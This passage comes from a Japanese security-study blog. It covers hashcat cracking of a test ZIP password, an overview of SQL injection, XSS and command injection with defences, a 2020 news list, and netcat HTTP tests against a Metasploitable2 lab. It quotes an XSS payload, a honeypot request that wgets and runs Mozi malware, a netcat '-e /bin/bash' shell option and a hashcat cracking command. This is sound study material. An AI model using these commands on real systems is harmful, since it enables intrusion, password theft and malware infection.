ご参考:ファイルのパス
~/.local/share/hashcat/hashcat.potfile

そのため、過去の解析分を削除し、新たに解析を行うには、Hashcatが生成したhashcat.potfileファイルを削除または「--potfile-disable」のオプションを指定して実行します。

 

2.hashcatでZipファイルのパスワードを解読する

実際にhashcatでパスワード付きZipファイルを解読してみます。
今回はKali Linux上で以下の操作を実行しました。

 

パスワード付きZIPの作成

以下のコマンドでパスワードが「pass」と設定したZipファイルを作成します。

echo "Hello!" > Hello.txt
zip -e --password=pass Hello.txt.zip Hello.txt

 

Zipからハッシュ値を取得の解読

johnの中に含まれるzip2johnを使ってZipファイルよりハッシュ値を取得します。

zip2john Hello.txt.zip | cut -d ":" -f 2 > Hello.txt.zip.hash

上記コマンドにより以下のようなハッシュ値が取得できます。

root@kali:~# cat Hello.txt.zip.hash
$pkzip2$1*2*2*0*13*7*b042d89e*0*43*0*13*b042*ab66*c354e2c6e579378c0784e27df319185a18104b*$/pkzip2$

取得したハッシュ値の形式を以下のサイトで確認します。

hashcat.net

今回はpkzipに該当するもの(17200)を確認します。

 

ハッシュ値の探索

hashcatを使ってハッシュ値を探索します。以下のようなコマンドで実行します。

hashcat -m 17210 -a 3 Hello.txt.zip.hash --increment '?a?a?a?a' 

  • -m:ハッシュ形式の指定
  • -a:アタックモードの指定
  • --increment:あとに続くマスク形式'?a?a?a?a'の文字数に至るまで一文字ずつ増やす設定(この例では4文字まで実行)
  • '?a?a?a?a':マスク指定

マスクの文字設定 

オプション 概要 内容
?l アルファベット小文字 abcdefghijklmnopqrstuvwxyz
?u アルファベット大文字 ABCDEFGHIJKLMNOPQRSTUVWXYZ
?d 数字 0123456789
?s 記号 !”#$%&'()*+,-./:;<=>?@[\]^_`{|}~
?a ?l?u?d?sと同じ  
?b 16進数 0x00 – 0xff

hashcat.net

 

上記を実行すると1分もしないうちに以下の結果が表示されます。 

$pkzip2$1*2*2*0*13*7*b042d89e*0*43*0*13*b042*ab66*c354e2c6e579378c0784e27df319185a18104b*$/pkzip2$:pass

 

ここまでで、Zipファイルに設定したパスワードを解析できました。

 

ご参考:Hack The Boxでの利用例

オンラインでセキュリティスキルの勉強ができるHack The Box(HTB)で実際にhashcatを使用したマシンの記事を以下に記載します。

【Hack The Box】Sunday - 家studyをつづって

【Hack The Box】node - 家studyをつづって

【Hack The Box】Previse - 家studyをつづって

【Hack The Box】Delivery - 家studyをつづって

【Hack The Box】Armageddon - 家studyをつづって

 

 

 

 

Webアプリの脆弱性の概要 ~「安全なウェブサイトの作り方」を読んで~

概要

「安全なウェブサイトの作り方」をよみ、Webアプリの脆弱性について調べたことをまとめました。

 

 

SQLインジェクション

概要

ウェブアプリケーションの多くはデータベースと連携しており、ユーザの入力情報からSQL文作成します。
SQL文の組み立てに問題がある場合、SQLインジェクションの攻撃を受ける可能性があります。

f:id:iestudy:20201119195210p:plain

SQLインジェクションのイメージ


SQLインジェクションには、本来非公開であるデータベースの内容を表示させる以外に、SQLサーバにあるコマンドを使ったものがあります。

  • convertやcast等で型変換のエラーを意図的に発生させ、そのエラーの内容からデータベースを攻撃するための情報を得る(エラー)
  • waitfor delayにより、一定時間実行を停止する命令を複数回繰り返して積み上げる(スタック)

対策

SQLインジェクションの対策としては、SQL文の組み立てをあらかじめ定義しておくプリペアードクエリの実装が挙げられます。
また、プレースホルダでデータの型を定めておくことで意図的なおきます。

 

クロスサイトスクリプティング(XSS)

概要

ウェブアプリケーションの中には、ユーザの入力やHTTPヘッダの情報を元にして出力するものがあります。
ウェブページへの出力処理に問題があり、入力に悪意のあるスクリプト等を埋め込まれてしまい、それをそのまま出力させる攻撃がクロスサイトスクリプティングです。

クロスサイトスクリプティングには3つの種類があります。

f:id:iestudy:20201119195346p:plain

XSSの種類

反射型XSS(Reflected XSS)

ユーザからのリクエストに含まれるスクリプトをそのままレスポンスとして出力してしまうタイプのXSSです。
HTTPリクエストペイロードに攻撃のためのJavaScriptが含まれているもの等が挙げられます。

 

格納型XSS(Stored XSS)

リクエストに含まれる悪意のあるスクリプトを、ウェブアプリケーション内部で保存し、ユーザの閲覧時に保存されたスクリプトが出力される攻撃です。
掲示板やSNSのプロフィール等に攻撃のスクリプトが含まれるケースがあります。

 

DOM Based XSS

ウェブページに含まれる正規のスクリプトにより、動的にウェブページを操作した結果、意図しないスクリプトをウェブページに出力してしまうタイプのXSSです。

DOM XSSは、動的ページの生成の際に、ユーザの入力がJavaScriptコードを含むHTMLとして組み立てられて攻撃が行われるものです。

例えば、Webページで"hensuu"に入力を入れる個所がある場合に、以下のような入力がある場合、Webページの生成においてJavascriptを含んだタグとして生成されます。


入力値
"%3cimg%20src%3Da%20error%3dalert(1)%3e"

 

URLデコード後
<img src=a error=alert(1)>

 

反射型XSSではHTTPリクエストにそのままJavaScriptのコードが書かれ、それがそのまま出力されますが、DOM型XSSでは上記のように、HTMLの生成時にJavaScriptコードが読み込まれるといった違いがあります。

参考:DOMとは

DOMとはDOM(Document Object Model)は、HTMLドキュメントやXMLドキュメントをアプリケーションから操作するためのAPIである。W3Cが標準化2しており、様々なプログラミング言語やライブラリがDOMをサポートしている。

https://www.ipa.go.jp/files/000024729.pdf

対策

基本的な対策としては、JavaScriptのコードを実行させないために、ユーザの入力に含まれる「<」や「>」といった文字をサニタイズすることが挙げられます。

https://www.ipa.go.jp/files/000024726.pdf


なお、SQLインジェクションやXSSは検知数も多いようです。

https://www.lac.co.jp/lacwatch/pdf/20200406_jsoc_vol26.pdf

 

コマンドインジェクション

概要

ウェブアプリケーションによっては、悪意のあるHTTPのリクエストを受信する事で、ウェブサーバのOSコマンドを不正に実行されてしまう脆弱性が含まれるものがあります。

f:id:iestudy:20201119200242p:plain

コマンドインジェクションのイメージ

 

悪意のあるHTTPリクエストの例

  • GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://管理画面のURL/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/tsetting.htm=1
    (以前に構築したハニーポットに届いたリクエスト) 
  • リクエストのペイロード部分に$(実行したいコマンド)といったような形式でコマンドの実行を試みるもの

対策

根本的な対策としてはシェルを起動できる言語機能の利用を避けることが挙げられます。
また、上記対策が取れない場合は、特にユーザからの入力があるような画面においては攻撃に悪用される文字(「|」、「<」、「>」等)を無害化する事が挙げられます。

www.shadan-kun.com

yamory.io

 



 

2020年11月のIT・セキュリティトピック

2020年11月に気になったニュースをまとめます。

 

 

 

記事の投稿日 概要
2020/11/01 GMOクリックで不正アクセス、149万円流出/FX各社「トルコリラ相場への注意喚起」ほか 10 ...
2020/11/01 コロナ禍の米国で医療機関へのランサムウェア攻撃が急増、さらなる危機が押し寄せる
2020/11/02 「TCP 445番ポート」宛てのパケットが増加傾向 - JPCERT/CC観測
2020/11/02 グーグルの新VPNサービス、「Google One」の2TBプランで提供へ
2020/11/02 マイクロソフト、「Netlogon」脆弱性を悪用する攻撃についてあらためて警告
2020/11/02 不正アクセスで保険契約情報など顧客情報流出の可能性 - 保険代理店
2020/11/02 米政府機関、医療機関や医療提供者へのサイバー犯罪の脅威の増加を警告
2020/11/02 「また10万円給付」 偽メールに注意、個人情報狙う
2020/11/02 9月は382件のDDoS攻撃を観測、「パスワード付きZIPファイル」で検知回避を狙う「Emotet」も ...
2020/11/03 原子力規制委のHP閲覧不能に 不正アクセスとの関連調査
2020/11/04 銀行アプリ悪用14万円窃盗容疑で男再逮捕 福岡県警
2020/11/04 「Google ドライブ」を悪用したフィッシング詐欺が急増中、メールの監視をすり抜ける新たな手口 ...
2020/11/04 カプコンに不正アクセス メールシステムやファイルサーバのアクセスに障害
2020/11/05 積水化学の情報漏洩 SNS使い接近、中国産業スパイの脅威
2020/11/05 傘専門ネットショップに不正アクセス - クレカ情報が流出
2020/11/05 不正送金200万円、引き出した疑い 神奈川県警、2人逮捕
2020/11/06 KBCシネマに不正アクセス|KBCニュース
2020/11/06 国内でマルウェア「IcedID」が拡散か--Emotetに類似
2020/11/09 脆弱性探しはハッカーが頼り バグ報奨金制度、新型コロナ対応が普及後押し (1/2)
2020/11/09 米政府機関や企業のソースコードリポジトリーにハッカーがアクセス--FBIが警告
2020/11/09 性犯罪者の身上情報、カカオトークで確認可能に=韓国
2020/11/09 ランサムウェア「RansomEXX」にLinux版が発見される
2020/11/09 サーバ管理会社が契約更新ミス 「ふくいナビ」全データがクラウドから消失、復旧不能に
2020/11/09 ゆうちょ銀行「mijica」、セキュリティの不備14項目見つかる
2020/11/10 UCSカード利用者を狙うフィッシング - 目立つ不自然な日本語、簡体字も
2020/11/10 「IoTセキュリティ手引書 Ver1.0」をリリース
2020/11/10 SBI証券口座不正流出 現金引き出した疑い 中国籍少年ら2人逮捕
2020/11/10 たらこ通販サイトに不正アクセス - クレカ情報流出、不正利用のおそれ
2020/11/11 慶応大に不正アクセス、学生らの個人情報流出
2020/11/11 Microsoftの元エンジニアが10億円相当のプリペイド通貨を詐取、オンラインストアのテストモードに穴
2020/11/11 「レプロ公式オンラインショップ」への不正アクセスによる個人情報流出に関するお詫びとお知らせ
2020/11/11 慶応大学 外部から不正アクセス 個人情報約3万件流出か
2020/11/12 カプコンへの不正アクセス問題,サイバー犯罪グループが機密情報を人質に取引を要求か
2020/11/12 朝日インテックでシステム障害 - ランサム感染被害で
2020/11/11 「DDoS恐喝」相次ぐ サイト標的に金銭要求メール
2020/11/13 ランサムウェア集団「Maze」が活動終了を発表 “カルテル”は否定も残る懸念
2020/11/13 西都市HPに不正アクセス 個人情報970件流出か
2020/11/14 ロシアと北朝鮮のハッカーが新型コロナワクチン製造会社を標的にしているとマイクロソフトが指摘
2020/11/14 個人情報の管理・入力には細心の注意を GMOクリック証券不正アクセス不正出金|セキュリティ通信
2020/11/16 ランサムウェア攻撃の経験から何を学ぶか--ソフォス調査
2020/11/16 人気オンラインゲーム「原神」の公式サイト上からユーザーの電話番号が漏洩
2020/11/16 小学館子会社のネット書店に不正アクセス、1000件超のカード情報流出か
2020/11/16 今週のサイバー事件簿 - 芸能事務所「レプロ」公式ショップでクレカ情報流出
2020/11/16 福井のオールコネクト、顧客情報流出の可能性
2020/11/16 身代金要求する「ランサムウェア」攻撃、1・5倍に増加…「社員自宅パソコンなどから侵入」
2020/11/17 仮想通貨取引所「Liquid」に不正アクセス、お問い合わせメール内容が流出
2020/11/17 新型コロナウイルス関連の脅威とPowerShellマルウェアの急増を確認 2020年第2四半期 脅威レポートを発表
2020/11/17 霞ヶ関でパスワード付きzipファイルを廃止へ 平井デジタル相
2020/11/17 イベント情報サイトのPeatixに不正アクセス 最大677万件の顧客情報が流出か
2020/11/17 食事券購入者の情報流出のおそれ
2020/11/18 宮崎市プレミアム商品券購入者情報、予約サイトから流出恐れ
2020/11/18 東建コーポレーション、個人情報65万件流出か
2020/11/18 サイバー攻撃による被害と復旧状況について(第三報)
2020/11/18 「ディスカバー鹿児島」管理システムへの不正アクセスで個人情報流出
2020/11/19 女子中学生IDで不正アクセスの男、友人らに「着替えの動画送って」
2020/11/18 仮想通貨取引所運営のQUOINE、顧客情報流出の可能性を報告
2020/11/19 コロナ禍の9カ月で暗号化通信悪用攻撃は顕著に増加--ゼットスケーラー調査
2020/11/20 予約サイト利用者、個人情報622件流出 宝塚・芸術センター /兵庫
2020/11/20 フィッシングメールによって拡散された「Dridex」ダウンローダーの解析レポートを公開
2020/11/20 公共施設予約システムへの不正ログイン試行で告訴 - 川崎市
2020/11/20 三菱電機の取引先情報が流出 不正アクセス、8千口座超
2020/11/20 「税金還付を受ける権利があります」 - 偽国税庁に注意
2020/11/22 五輪チケット払い戻し 手続き装った詐欺に注意を
2020/11/23 CAPCOMを襲ったRagnar LockerはFBIも警戒する環境寄生型攻撃。対策が難しい現実。
2020/11/23 【独自】個人情報2万8000件流出 カレー店のメルマガ会員 “脅迫メール”も 福岡県
2020/11/24 Fortinet製SSL-VPNの脆弱性にパッチ未適用のリスト約5万件が公開される。日本企業も含む。
2020/11/24 中国製の安価なルーターに不審なバックドアが存在、積極的に悪用しようとする試みも
2020/11/24 金融機関等を狙ったDDoS攻撃を観測、脅迫型DDoS攻撃も警戒が必要
2020/11/24 建築家向け書籍サイトに不正アクセス - クレカ情報流出の可能性
2020/11/25 MSとGoogleのアカウントリセットをかたる偽メールが増加、チェックポイント調べ
2020/11/24 他人の口座から「ペイペイ」に不正送金、被害2300万円か
2020/11/26 BBソフトサービスとクルウィット、ダークネット観測リポートを発行?金融機関等を狙ったDDoS ...
2020/11/28 TurkeyBombing Puts New Twist on Zoom Abuse
2020/11/27 原子力規制委の資料、不正閲覧か サイバー攻撃で
2020/11/27 警察庁の端末に不正アクセス 1年超で46回、気づかず
2020/11/27 ソフォス、一部の顧客データを誤って公開--ツールの設定に不備
2020/11/29 韓国から日本へのサイバー攻撃が増加 アパレル企業が被害に
2020/11/29 Canon USA、7月から8月に不正アクセスを受けて従業員の個人情報が流出
2020/11/30 地方銀行で初めて百五銀行様が 不正ログイン検知サービス「FraudAlert」を導入 ~ 不正利用口座の ...
2020/11/30 ハッカーが企業幹部の「Microsoft」アカウントなどの認証情報を複数販売か
2020/11/30 高速オフセットに不正アクセス、1400人分個人情報流出か 羽生選手商品販売で
2020/11/30 Drupalに任意のコード実行の脆弱性、セキュリティアップデートがリリース
2020/11/30 メールセキュ製品「InterScan Messaging Security」に複数の脆弱性
2020/11/29 Canon USA、7月から8月に不正アクセスを受けて従業員の個人情報が流出
2020/11/30 Office 365アカウント窃取に注意、乗っ取った正規のサイト悪用
2020/11/302020/12/ 上毛新聞、会員サイト5415人分の情報流出…被害確認されず

 

 

HTTPのメソッドをnetcatで実行する

概要

HTTPにはいくつかのメソッドがあります。この記事ではHTTPのメソッドについてまとめ、また、netcatを使って実際の実行結果を見てみます。

netcatとは

netcatとは、TCPもしくはUDP接続などを利用して、コマンドラインからデータを送受信するためのツールです。

 

 

 

HTTPのメソッド

メソッド 概要 備考
GET リソースの取得を行う GETのリクエストでリソースを更新するということは、原則としてあまりよろしくない
POST リソースの作成・更新等を行う  
PUT リソースの更新を行う あまり使われない
DELETE リソースの削除  
HEAD リソースのヘッダ情報のみ取得
(ボディ部分はなし)
 
OPTION サポートされるメソッドを取得する  
TRACE リクエスト内容をそのまま返す

主に動作の確認等で使用

Cross-Site tracingという、XSSとTRACEを利用してヘッダ内Authorizationに含まれる認証情報を盗む攻撃が有名

https://www.gsx.co.jp/tts/activity/110413.pdf

CONNECT Proxyに対しての通信で使用され、指定したサーバへの接続を要求するもの 主にProxyへの接続で使用

 

各メソッドの実行例

以前に構築したKali Linuxの検証環境で、上記のメソッドをKali Linuxからmetasploitable2に対して送信してみます。

 

GETメソッド実行結果

root@kali:~# echo -en "GET / HTTP/1.1\r\nUser-Agent: nc/0.0.1\r\nHost: 127.0.0.1\r\nAccept: */*\r\n\r\n" | nc 192.168.1.222 80
HTTP/1.1 200 OK
Date: Wed, 11 Nov 2020 11:12:55 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntu5.10
Content-Length: 891
Content-Type: text/html

<html><head><title>Metasploitable2 - Linux</title></head><body>
<pre>

_ _ _ _ _ _ ____
_ __ ___ ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |
| | | | | | __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | | __// __/
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|
|_|


Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started


</pre>
<ul>
<li><a href="/twiki/">TWiki</a></li>
<li><a href="/phpMyAdmin/">phpMyAdmin</a></li>
<li><a href="/mutillidae/">Mutillidae</a></li>
<li><a href="/dvwa/">DVWA</a></li>
<li><a href="/dav/">WebDAV</a></li>
</ul>
</body>
</html>

 

HEADメソッド実行結果

root@kali:~# nc 192.168.1.222 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Date: Wed, 11 Nov 2020 07:08:40 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntu5.10
Connection: close
Content-Type: text/html

※リクエストを入力後Enter2回押下 

HEADは上記のようにリソースのヘッダ情報のみ応答が返ります。
HEADはバナー取得に使用されることがあります。

 

TRACEメソッド実行結果

root@kali:~# nc 192.168.1.222 80
TRACE / HTTP/1.0

HTTP/1.1 200 OK
Date: Wed, 11 Nov 2020 07:09:35 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0

※リクエストを入力後Enter2回押下  

 

余談:HTTPSでHEADを送る場合

HTTPSで上記のメソッドを送る場合はopensslコマンドを使用することで実行できます。

openssl s_client -host 宛先 -port 443

 

 

補足:ncの使い方

ncは上記のように、クライアントとして使用することができますが、サーバとしても使用することができます。
以下は、同一端末上でncを使い、サーバとクライアントとして通信させた例です。

f:id:iestudy:20201111201547p:plain

バインドシェルの実行例

オプションは以下の通り

  • -n:DNSによる名前解決を行わない
  • -l:リッスンモード
  • -v:標準メッセージの出力
  • -p:ポートの指定

上記はサーバに対してクライアントがアクセスし、サーバ上でコマンドを実行する構成で、バインドシェルと呼ばれる方法となります。

f:id:iestudy:20201111201728p:plain

バインドシェルのイメージ

 

これとは別にリバースシェルと呼ばれる構成があり、これはサーバ側が接続しに来たクライアント上でコマンドを実行する方法になります。

f:id:iestudy:20201111201816p:plain

リバースシェルのイメージ

f:id:iestudy:20201111201853p:plain

リバースシェル実行例


※ncのオプションで”-e /bin/bash”と指定することでシェルを操作することができます。

今回の試した環境では、Ubuntu側で"-e"が使用できなかったため、バインドとリバースで図が入れ替わっています。

 

参考にさせていただいたサイト

www.intellilink.co.jp